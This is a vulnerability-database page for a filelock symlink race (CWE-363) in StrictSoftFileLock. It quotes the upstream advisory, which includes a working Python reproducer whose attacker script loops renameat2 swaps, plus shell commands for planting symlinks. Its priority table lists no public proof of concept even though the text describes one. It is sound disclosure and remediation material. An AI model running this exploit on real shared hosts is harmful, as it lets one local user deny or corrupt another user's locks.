Skip to main content

Python filelock CVE-2026-112938

MEDIUM
Race Condition Enabling Link Following (CWE-363)
2026-10-28 https://github.com/tox-dev/filelock GHSA-m462-7rxw-wvpg
5.8
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain local unprivileged account on same host
  2. Delivery
    Plant decoy symlink and loop renameat2(RENAME_EXCHANGE)
  3. Exploit
    Win race between lstat check and mkdir
  4. Execution
    Victim process creates claims in attacker-chosen directory
  5. Impact
    Stranded claims deny another strict lock to every process

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V15 - Secure Coding and Architecture Race condition in multi-threaded env
Exploitation Conditions

Requires a local unprivileged account on the same POSIX/Linux host, and the target application must use StrictSoftFileLock or AsyncStrictSoftFileLock (filelock 3.30.0-4.2.0) with its <path>.filelock coordination directory placed where the attacker can rename it: either a non-sticky world- or group-writable directory (a 0777 or group-writable cache/project directory, where any user with write access can rename the entry the lock user owns), or a sticky directory such as /tmp where the attacker pre-created <path>.filelock before the lock user's first use. Exploitation of the race also requires the lock to be acquired repeatedly (a periodic job, worker pool, or a caller that retries/waits on a timeout, since each poll is a fresh attempt) so the renameat2(RENAME_EXCHANGE) loop can land a swap in the window between lstat and mkdir. Limiting factors that reduce realistic risk: the high-complexity race window (AC:H), local-only access, no code execution, Linux/POSIX-only (Windows is not affected by this vector), and the two no-race variants (the claims property and force_break()) additionally require the operator to run the blind recovery loop from docs/tutorials.rst without verifying claim owners as docs/how-to.rst instructs. fs.protected_symlinks=1 does not mitigate it because the symlink is an intermediate path component, not the final one.

Impact

Signals are mostly consistent and point to a genuine but bounded, lower-tier priority. CVSS is 5.8 (Medium) with AV:L/AC:H/PR:L/UI:N: the attacker needs a local unprivileged account on the same host and must win a race between the lstat check and the following mkdir, so this is not remotely reachable. The vuln.today decision label is this_month (not act_now/emergency), which matches a local, conditional availability issue rather than an urgent threat. No EPSS score was provided and the CVE is not in CISA KEV, so there is no evidence of active or widespread exploitation - expect targeted, multi-tenant scenarios rather than mass exploitation. A full working reproducer is published in the GitHub Security Advisory (GHSA-m462-7rxw-wvpg) and the maintainers confirmed it reproduces on 4.2.0 and commit b831496 and is fixed on PR #839; this raises practical feasibility above a theoretical race, since the attacker simply loops renameat2(RENAME_EXCHANGE) and won after 1-31 acquisitions in trials. Offsetting factors keep real-world risk moderate-to-low: exploitation is POSIX/Linux-only (Windows unaffected by the demonstrated vector), requires the application to use the relatively new, opt-in StrictSoftFileLock/AsyncStrictSoftFileLock feature, requires the lock to be taken repeatedly, and requires the coordination directory to live where the attacker can rename it. The headline A:H impact only materializes when the planted link targets another strict lock of the same user. Net: patch promptly on shared/multi-tenant hosts running services that use StrictSoftFileLock in attacker-writable directories; routine priority elsewhere.

Exploit ScenarioDerived

On a shared Linux host, a service repeatedly acquires a StrictSoftFileLock whose <path>.filelock directory sits in a non-sticky writable directory (e.g. a 0777 cache or project dir). A local unprivileged attacker runs a renameat2(RENAME_EXCHANGE) loop swapping <path>.filelock for a symlink pointing at a second strict lock's coordination directory; eventually a swap lands between the lstat and the mkdir, so the victim's process creates claims and claim files inside the attacker-chosen directory, and those stranded claims make the second lock time out for every process until an operator force-breaks each one. A full working reproducer is published in the GHSA advisory and was confirmed by the maintainers.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Oct 28, 2026

Symlink-following in the Python filelock package's StrictSoftFileLock and AsyncStrictSoftFileLock (versions 3.30.0 through 4.2.0) allows a second local account that can rename the <path>.filelock coordination directory to redirect the lock user's claims directory creation, claim publication and cleanup into any directory that user can write. The attacker lands the swap between the lstat check and the following mkdir by looping renameat2(RENAME_EXCHANGE), and wins after roughly 1 to 31 runs of a repeatedly-acquired lock; the payoff is directory and claim-file creation with the lock user's privileges, limited file-name disclosure from a private directory through the claims property, and - when the link targets another strict lock's .filelock directory - stranded claims that deny that lock to every process until an operator force-breaks each one. The impact is local-only, POSIX/Linux-demonstrated, requires a high-complexity race window in a directory the attacker can rename, and yields no code execution; a reproducer accompanies the upstream advisory, and vendor-released patch 4.2.1 closes the issue.

RemediationAI

Vendor-released patch: upgrade filelock to 4.2.1, which ships via https://github.com/tox-dev/filelock/releases/tag/4.2.1 and is implemented in pull request https://github.com/tox-dev/filelock/pull/839 (commit https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03). Note that 4.2.1 narrows a <path>.filelock/claims directory that an earlier release created too wide only when the lock user owns it, and deliberately leaves a directory owned by another account untouched - those leftovers under a sticky parent such as /tmp must be removed by hand, since 4.2.1 will now refuse a coordination directory belonging to another account in that position and acquisitions will fail instead. Until the upgrade can be shipped, the upstream advisory's workarounds apply and each has a cost: keep strict locks only in directories no other account can write, which removes the shared-cache and /tmp use cases entirely; in a sticky shared directory, have the service account create <path>.filelock before any other account can and verify its owner before first use, which closes the sticky-directory precondition but not the non-sticky one; and stop running the recovery loop from docs/tutorials.rst (for claim in stale.claims: stale.force_break(claim.name)) against locks in shared directories without first confirming, as docs/how-to.rst instructs, that the named owning process is gone - that loop is what turns a planted link into a second writer inside another lock's critical section, but verifying owners adds manual toil to every recovery. Treat an unexpected SoftFileLockProtocolError quoting an unknown claim name as a signal that claims may point elsewhere, and keep claims exception text out of logs other accounts can read, since that text is the disclosure channel. On Windows, keep the lock directory writable only by trusted users.

Affected Packages

pypi filelock fix: 4.2.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

CWE-363 (link following) manifests here as a TOCTOU on path resolution rather than a single unchecked open. StrictSoftFileLock._ensure_protocol_directory runs lstat on <path>.filelock and then constructs every subsequent operation - mkdir, os.scandir, _publish_record, _link_no_replace, _unlink_in_directory, and the _filesystem_now clock probe - from the full pathname <path>.filelock/claims. _open_directory does pass O_DIRECTORY | O_NOFOLLOW, but the kernel only refuses to follow a symlink at the final component, so O_NOFOLLOW protects claims while an attacker-controlled symlink one component higher (at <path>.filelock) is transparently followed. The vulnerable by-name claim directory was introduced with commit 650c17c79c54 ("feat(strict): replace shared markers with owner claims", released in 3.30.0), and the clock-probe artifacts that a swap at the claims level leaves behind arrived with _filesystem_now in 508d0548538f (released in 4.1.0). Four distinct paths reach the same by-name resolution: the raced lstat-to-mkdir window, a raced swap at the claims component itself, the no-race claims property (called on an instance that never went through _acquire), and the no-race force_break() path, where _require_exact_name confirms the name with a by-name os.scandir and _unlink_in_directory again relies on O_NOFOLLOW for the last component only. An unexpected SoftFileLockProtocolError quoting an unknown claim name is the observable side effect, and it is also what invites an operator into the no-race force_break() variant. fs.protected_symlinks=1 is irrelevant because the symlink is an intermediate component, and in the sticky-directory case it also sits in a directory the attacker owns. The 4.2.1 fix replaces pathname resolution with a descriptor (dir_fd) opened O_NOFOLLOW on <path>.filelock, sets the sticky bit on <path>.filelock and claims, narrows wider directories it owns, and refuses a coordination directory belonging to another account under a sticky parent; Windows, lacking dir_fd, is covered by holding both directories open and refusing junctions.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 5.8 MEDIUM
AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H
vuln.today AI 5.8 MEDIUM

Local account plus an lstat-to-mkdir race give AV:L/AC:H; any unprivileged user suffices (PR:L, UI:N); stranded claims against another lock drive A:H with minor C:L/I:L.

3.1 AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H
4.0 AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Local
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
High

DescriptionGitHub Advisory

StrictSoftFileLock and AsyncStrictSoftFileLock check <path>.filelock (the coordination directory that holds the lock's state) with one lstat call on its name. lstat reports what a name is without following a symbolic link (a file that redirects to another path). After that check, the code reaches <path>.filelock/claims by pathname for every later operation (mkdir, scan, publish, link, unlink). _open_directory passes O_NOFOLLOW (a flag that makes an open fail when the final name is a symbolic link), but the flag covers only the final claims component. The kernel follows a symbolic link in any earlier component.

Another local user (the other user below) who can rename <path>.filelock exchanges it for a symbolic link after the check. In a shared directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it), any user with write access can do this. Where the shared directory is sticky, such as /tmp, only the user who created <path>.filelock before the user running the lock (the lock user below) first used it can. The lock user's process (root's, if root takes the lock) then creates a claims directory and claim files (the files whose presence says a process wants or holds the lock) inside a directory the other user chooses but only the lock user can write.

When the link points at another strict lock's .filelock directory, the stranded claims make that lock time out for every process until an operator finds and force-breaks each one. The claims property and force_break() resolve the same path with no check at all. Affected versions: filelock >= 3.30.0 and <= 4.2.0 (finding ANT-2026-SVFEYX89).

Severity

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H, 5.8 (Medium).

AV:L (local): the other user needs an account on the same host. AC:H (high attack complexity): the swap must land between the lstat and the next mkdir. The other user does not aim at that window. It flips the name in a loop with renameat2(RENAME_EXCHANGE) (a system call that swaps two names in one step) across repeated acquires, and won after 1 to 31 runs of the lock user's program in the scanner's trials. A sticky directory also requires it to have created <path>.filelock first. PR:L (low privileges): an unprivileged account is enough. UI:N (no user interaction): the lock user's process acts on its own.

C:L (low confidentiality impact): through claims, one file name per planted link from a directory only the lock user can list. I:L (low integrity impact): a directory named claims and files with filelock's fixed claim names and contents appear, created with the lock user's privileges, in a directory the other user chooses but cannot write. The process overwrites or truncates nothing that exists. A:H (high availability impact): aimed at another strict lock of the lock user, the stranded claims deny that lock to every process until an operator finds and force-breaks each one. Classification from the review: security, conditional on the other user being able to rename the intermediate component. The scanner rated it high (CWE-363).

Scope and preconditions

  • The other user can rename <path>.filelock. In a writable directory without the sticky bit (a 0777 or group-writable project or cache directory), any user with write permission on the directory can, even though the lock user created and owns <path>.filelock. In a sticky directory such as /tmp, only the user who created <path>.filelock before the lock user's first use can, because that user then owns both the directory and the symbolic link (the planting precondition of GHSA-9c4x-gm8v-wgc4).
  • The link's target is a directory the lock user can write. The effect that matters is on that directory. An acquire that completes through the link also holds the shared lock with its claims elsewhere, but a user who can rename <path>.filelock can defeat that lock's exclusion anyway.
  • fs.protected_symlinks=1 (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) does not interfere. The link is an intermediate path component, not the last one. In the sticky-directory case it also sits in a directory the other user owns.
  • Missed attempts show up to the lock user as SoftFileLockProtocolError or FileNotFoundError. The swap therefore works against a lock that a program takes more than once: a periodic job, a worker pool, or a caller that retries or waits with a timeout (each poll of a waiting acquisition is a new attempt).
  • The two entry points that need no race (claims and force_break() on a resting symbolic link) depend on the lock user inspecting or recovering the lock. The planted link invites this by making acquire() fail with a protocol error. The force_break() variant works only when the lock user breaks claims that name a live process on its own host without checking them first, as the recovery loop in docs/tutorials.rst does. docs/how-to.rst tells the operator to verify that the named owner is gone before breaking.
  • Platform: POSIX, demonstrated on Linux (tmpfs and overlayfs). Windows has no dir_fd (file operations relative to an open directory handle), and on Windows the documented requirement is a lock directory that untrusted users cannot write.

filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.

Affected code

At the scanned commit b831496, the check and the first use are adjacent lines of StrictSoftFileLock._acquire. There, _ensure_protocol_directory runs lstat on <path>.filelock and then mkdir on <path>.filelock/claims. _open_directory passes O_DIRECTORY | O_NOFOLLOW but receives the full <path>.filelock/claims. The claim scan goes by pathname in _read_existing_claims (directory.exists()) and _list_claim_names (os.scandir(directory)). So do _publish_record, _link_no_replace, _unlink_in_directory and the clock probe in _filesystem_now. The claims property and force_break() take the directory from _claim_directory by string concatenation, and _require_exact_name confirms the name with a by-name os.scandir.

Introduced

The by-name claim directory came with 650c17c79c54 ("feat(strict): replace shared markers with owner claims", #659, 2026-07-14), first released in 3.30.0. One effect is newer. The clock-probe files that a swap at claims leaves behind need _filesystem_now, added in 508d0548538f ("fix(strict): age private records by the filesystem clock", #792, 2026-10-07), first released in 4.1.0. Before that commit a claim scan created nothing. We checked both against the git tags.

Mechanism

On the benign path, _ensure_protocol_directory(coordination_directory) finds <path>.filelock to be a real directory, and _ensure_protocol_directory(claim_directory) finds claims inside it. The doorway (the acquire step that scans existing claims and publishes the caller's own) then publishes into it. A symbolic link resting at <path>.filelock stops at the first call with "is not a real directory". That answer describes the name at that instant only; nothing carries it forward. With the name exchanged for a link to a directory T between the two calls:

  • The second call runs mkdir("<path>.filelock/claims"), which creates T/claims with the lock user's credentials. The mkdir succeeds, so _ensure_protocol_directory returns without looking at anything.
  • _attempt_doorway then works in T/claims for as long as the name still points there. _read_existing_claims uses directory.exists() and os.scandir(directory). _publish_record opens the claim directory by its full path and creates .intent-v1-<token>.claim.private-v1-<hex>.tmp and intent-v1-<token>.claim (the intent claim, which announces a pending acquire) in it. When its intent wins the scan, _link_no_replace adds held-v1-<token>.claim (the held claim, which marks the lock as taken). _open_directory does pass O_DIRECTORY | O_NOFOLLOW, but on "<path>.filelock/claims", so the flag covers claims only.
  • Cleanup resolves the name again. _unlink_in_directory opens <path>.filelock/claims by path. When the name is back at the real directory by then, the unlink gets ENOENT (the "no such file" error), which _unlink_owner_path_result counts as removed. The claim file stays in T/claims.

When T/claims already exists, the mkdir takes the FileExistsError branch, lstat sees a real directory, and the same scan and publication run on the existing directory. With T/claims holding a file secret-name.txt and an old .held-v1-<hex>.claim.private-v1-<hex>.tmp, the lock user's process raises SoftFileLockProtocolError: … claim 'secret-name.txt': unknown claim name or protocol version. _reclaim_private_record unlinks the private-record file. intent-*.claim files and a clock-probe file from _filesystem_now stay behind.

The window is a few lines of Python between two system calls, but the other user does not aim at it. renameat2 with RENAME_EXCHANGE flips the name in a loop, so each system call of the lock user sees the directory or the link more or less at random. An attempt that sees the link at the lstat raises SoftFileLockProtocolError. One that sees the directory there and the link at the next mkdir is a hit. Four other ways reach the same by-name resolution. The scanner observed each of them at the same commit, with victim and attacker as separate accounts and default lock options.

The first way strands claims in another strict lock. With the swapped-in link pointing at the coordination directory of a second lock of the lock user (/home/victim/private/db.lock.filelock, parent mode 0700), 200 acquires of the shared lock left 7 to 17 well-formed intent-v1-*.claim and held-v1-*.claim files in the second lock's claims. No process holds that lock, yet StrictSoftFileLock("/home/victim/private/db.lock", timeout=1) raises Timeout from then on, until an operator force-breaks each stranded claim.

The second way swaps one component lower, at claims. The claim scan does not use a descriptor (an open handle that stays bound to one directory whatever its name later points to). os.scandir(directory), the record reads, _reclaim_private_record (called with its descriptor slot set to None) and the clock probe in _filesystem_now (os.open(directory / name, O_CREAT | O_EXCL | O_NOFOLLOW) followed by probe.unlink()) all go by pathname. For a sticky directory, the other user needs to have created <path>.filelock first. It then puts a real claims directory (mode 1777) in it with one empty file named .held-v1-<32 zeros>.claim.private-v1-<32 zeros>.tmp, so that every scan calls the probe, and exchanges claims with a link in a loop.

After 200 acquires by the lock user, 14 to 42 one-byte, mode 0600, lock-user-owned files named .held-v1-<hex>.claim.private-v1-<hex>.tmp are in the 0700 directory the link points to. The probe open went through the link, and the pathname unlink ran after claims was a directory again and got ENOENT. A swap at this level does not affect publication or release, because there _open_directory's O_NOFOLLOW does cover claims.

The third way is claims with no race. The property calls _read_existing_claims on an instance that did not go through _acquire, and directory.exists() and os.scandir(directory) both follow a link. After the other user runs mkdir /tmp/work.lock.filelock; ln -s /home/victim/private /tmp/work.lock.filelock/claims, acquire() refuses with "is not a real directory". The inspection loop from docs/how-to.rst (for claim in lock.claims: ...) raises SoftFileLockProtocolError: … claim 'customer-1123f274.db': unknown claim name or protocol version. That names the first non-hidden entry, in sort order, of a directory the other user cannot list. A missing or empty target returns (), a non-directory gives "Not a directory" and an unreadable directory "Permission denied", so the call also tells those apart.

The fourth way is force_break() with no race. It confirms the name with a by-name os.scandir in _require_exact_name and unlinks through _unlink_in_directory, where O_NOFOLLOW again covers claims only. After the other user's one command ln -s /home/victim/private/db.lock.filelock /tmp/service.lock.filelock, the recovery loop from docs/tutorials.rst run by the lock user on /tmp/service.lock (for claim in stale.claims: stale.force_break(claim.name)) lists and removes the held and intent claims of the live holder of /home/victim/private/db.lock. A second process then acquires that lock while the first is still in its critical section with is_locked == True. The first holder's release() later finds its claims gone, counts ENOENT as removed and returns without error. Only a directory named claims below the link's target is reachable, so the targets are other strict locks, not arbitrary files.

Reproduction

The scanner's reproducer for finding ANT-2026-SVFEYX89, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.

repro

python
#!/usr/bin/env python3
import collections
import os
import pwd
import shutil
import stat
import subprocess
import sys

as_victim = {"user": "victim", "group": "victim", "extra_groups": []}
as_attacker = {"user": "attacker", "group": "attacker", "extra_groups": []}
victim_job = [sys.executable, "/tmp/repro.d/victim_job.py"]
attacker_swap_loop = [sys.executable, "/tmp/repro.d/attacker_swap_loop.py"]
victim_uid = pwd.getpwnam("victim").pw_uid
# set up: a directory both users can write (0777, no sticky bit) and one only the victim can write.
# The shared one is on tmpfs to keep the attacker's rename loop off the container's disk.
shared = "/dev/shm/filelock-repro-shared"
private = "/tmp/filelock-repro-private"
shutil.rmtree(shared, ignore_errors=True)
shutil.rmtree(private, ignore_errors=True)
os.mkdir(shared)
os.chmod(shared, 0o777)
os.mkdir(private, 0o700)
shutil.chown(private, "victim", "victim")

own_mkdir = subprocess.run(["mkdir", f"{private}/claims"], capture_output=True, text=True, **as_attacker)
print(f"CONTROL attacker's own mkdir: {own_mkdir.stderr.strip()}")

subprocess.run(["ln", "-s", private, f"{shared}/static.lock.filelock"], check=True, **as_attacker)
refused = subprocess.run([*victim_job, f"{shared}/static.lock"], capture_output=True, text=True, check=True, **as_victim)
print(f"CONTROL symlink resting at static.lock.filelock: {refused.stdout.strip()}; private directory holds {os.listdir(private)}")
# the job has run before, undisturbed, so work.lock.filelock is the victim's own directory
first_run = subprocess.run([*victim_job, f"{shared}/work.lock"], capture_output=True, text=True, check=True, **as_victim)
coordination = os.lstat(f"{shared}/work.lock.filelock")
print(f"CONTROL undisturbed job: {first_run.stdout.strip()}; work.lock.filelock is {stat.filemode(coordination.st_mode)}, owner uid {coordination.st_uid}")
private_before_attack = os.listdir(private)
print(f"CONTROL private directory holds {private_before_attack}")
# attack: the attacker keeps exchanging work.lock.filelock with a symlink to the private directory
# while the job keeps running; each run is one more chance to land between the check and the use
swapper = subprocess.Popen([*attacker_swap_loop, f"{shared}/work.lock", private], **as_attacker)
job_outcomes = collections.Counter()
while job_outcomes.total() < 200 and not os.listdir(private):
    job = subprocess.run([*victim_job, f"{shared}/work.lock"], capture_output=True, text=True, **as_victim)
    job_outcomes[job.stdout.strip()] += 1
assert swapper.poll() is None, "the attacker's swap loop stopped on its own"
swapper.kill()
swapper.wait()
# check: the victim's lock created "claims" inside the directory the attacker could not write
print(f"OBSERVED {job_outcomes.total()} runs of the job printed {dict(job_outcomes)}")
print(f"OBSERVED private directory holds {os.listdir(private)}")
redirected = False
if os.path.lexists(f"{private}/claims"):
    claims = os.lstat(f"{private}/claims")
    print(f"OBSERVED {private}/claims is {stat.filemode(claims.st_mode)}, owner uid {claims.st_uid} (victim is {victim_uid}), holds {os.listdir(f'{private}/claims')}")
    redirected = stat.S_ISDIR(claims.st_mode) and claims.st_uid == victim_uid
print("BUG" if private_before_attack == [] and redirected else "OK")

repro.d/attacker_swap_loop.py

python
import ctypes
import os
import sys
import time

lock_path, target_directory = sys.argv[1], sys.argv[2]
coordination_directory = f"{lock_path}.filelock".encode()
symlink_to_target = f"{lock_path}.decoy".encode()
os.symlink(target_directory, symlink_to_target)

renameat2 = ctypes.CDLL(None, use_errno=True).renameat2
AT_FDCWD = -100
RENAME_EXCHANGE = 2
give_up_at = time.monotonic() + 300
while time.monotonic() < give_up_at:
# one atomic syscall: the name always exists, as the victim's directory or as the symlink
    if renameat2(AT_FDCWD, coordination_directory, AT_FDCWD, symlink_to_target, RENAME_EXCHANGE) != 0:
        raise OSError(ctypes.get_errno(), "renameat2(RENAME_EXCHANGE)")

repro.d/victim_job.py

python
import sys

from filelock import StrictSoftFileLock

try:
    with StrictSoftFileLock(sys.argv[1], timeout=1):
        print("job ran")
except OSError as error:
# filelock.Timeout and SoftFileLockProtocolError are both OSError
    print(f"job skipped: {type(error).__name__}")

Attack sequence

mermaid
sequenceDiagram
    participant X as other local user
    participant N as work.lock.filelock (name in shared dir)
    participant V as job of the lock user (StrictSoftFileLock, timeout=1)
    participant T as /tmp/private (0700, lock user only)
    X->>N: plant work.lock.decoy -> T, loop renameat2(RENAME_EXCHANGE)
    rect rgb(207, 228, 255)
        V->>N: lstat work.lock.filelock: a real directory
    end
    rect rgb(255, 214, 214)
        X->>N: exchange lands: name is now the symbolic link to T
        V->>T: mkdir work.lock.filelock/claims creates T/claims (owned by the lock user)
        V->>T: scan, publish intent-v1-<token>.claim, link held-v1-<token>.claim in T/claims
        X->>N: exchange again: name is the directory
        V->>N: release(): unlink by path gets ENOENT, counted as removed
        Note over V,T: T/claims and its claim files stay behind#59; aimed at another lock's .filelock they block that lock
    end
    Note over V,N: a miss: lstat sees the symbolic link, SoftFileLockProtocolError, next run tries again

Evidence

The scanner's reproducer (commit b831496, Linux 6.1 x86_64, CPython 3.14, fs.protected_symlinks=1) creates /dev/shm/filelock-repro-shared (0777, no sticky bit) and /tmp/filelock-repro-private (0700, owned by victim). Three controls run first. The other account's own mkdir in the private directory answers Permission denied. A link resting at static.lock.filelock gives job skipped: SoftFileLockProtocolError with the private directory holding []. An undisturbed job prints job ran and leaves work.lock.filelock as drwxr-xr-x, owner uid 1000.

Then the swap loop starts and the job (with StrictSoftFileLock(path, timeout=1)) runs up to 200 times until the private directory is no longer empty. That took 1 to 8 runs, about 1.5 s in total. Afterwards claims, a directory owned by uid 1000 and mode 0755, is in the private directory; in some runs it holds intent-v1-<token>.claim and held-v1-<token>.claim files. Verdict BUG. In a 1777 directory on tmpfs (a memory-backed filesystem), with the other account having created <path>.filelock first, the lock user created T/claims after 4, 22 and 2 runs in three trials. The scanner ran the four further cases under Mechanism in separate runs with the same accounts.

Our review ran the reproducer against the 4.2.0 release image and the scanned commit (BUG on both) and against the head of #839 (OK: all 200 runs completed with the private directory empty). The review's regression tests on POSIX cover the claims-level swap and the force_break() case. We did not verify Windows.

Impact

Another local user who can rename <path>.filelock makes the lock user's process create a directory named claims, mode 0777 & ~umask (umask: the process's default permission mask), inside any directory that process can write, and leave claim files in it. The other user chooses the location only. filelock fixes the directory name, and the files contain filelock's own claim record (magic, token, PID, host name, start token). The process overwrites or truncates nothing that exists. This amounts to directory and file creation outside the lock's directory with the lock user's privileges, not a write of chosen data.

Where the chosen directory already has a claims subdirectory, the lock user's process also scans it, unlinks entries named like stale private records, and raises an error that quotes the first other file name in it. Aimed at another strict lock's .filelock directory, the stranded claims deny that lock to every process until an operator finds and force_break()s each one. Without this the other user has no way to affect a lock in a directory it cannot enter. The swap at claims leaves one-byte 0600 dot-files instead of claims.

Through claims, another user learns one file name per planted link from a directory only the lock user can list, and whether a guessed path is missing or empty, a file or a directory. This needs the exception text or its claim_name to reach that user (a shared log, CI output, an error report); on its own this disclosure is minor. The force_break() variant puts two processes inside a different strict lock's critical section, one the other user can neither list nor write, with neither told. That happens only when the lock user runs the tutorial's blind recovery loop.

This shares only the bug class with GHSA-j8f7-rjxc-mr56 (the symbolic link at the ReadWriteLock database path, fixed in 4.0.9). There the other user chose the file the lock opened. Here the link sits one component above the final one, the other user swaps it in after the check that refuses it, and it chooses only the parent directory.

Workarounds

Keep strict locks in a directory no other user can write. In a sticky shared directory, create <path>.filelock as the service user before any other account can, and check its owner before first use. Do not run the recovery loop from docs/tutorials.rst on a lock in a shared directory without first verifying, as docs/how-to.rst says, that the owner named in each claim is gone. Treat an unexpected SoftFileLockProtocolError that quotes an unknown claim name as a sign that claims may point elsewhere. Keep the exception text of claims out of logs other accounts can read. On Windows, keep the lock directory writable only by trusted users.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/839

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

  • 2026-10-15 23:08 UTC: report received (finding ANT-2026-SVFEYX89, scanned commit b831496b0273)
  • 2026-10-16 01:31 UTC: fix PR #839 opened
  • 2026-10-16 05:41 UTC: draft advisory created (first as part of GHSA-9c4x-gm8v-wgc4, then split into this advisory)

Threat Intelligence Overview

Prevalence
High
ubiquitous Python locking library, but vulnerable StrictSoftFileLock feature is new and rarely used
Threat Intel
1
1 source
Data Quality
3 sources
Confidence: Low
NVD CVE.org GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS N/A
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact· derived
High

Priority Score

29
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +29
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Affected Products (CPE)GitHub Advisory

pkg:pip/filelock

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy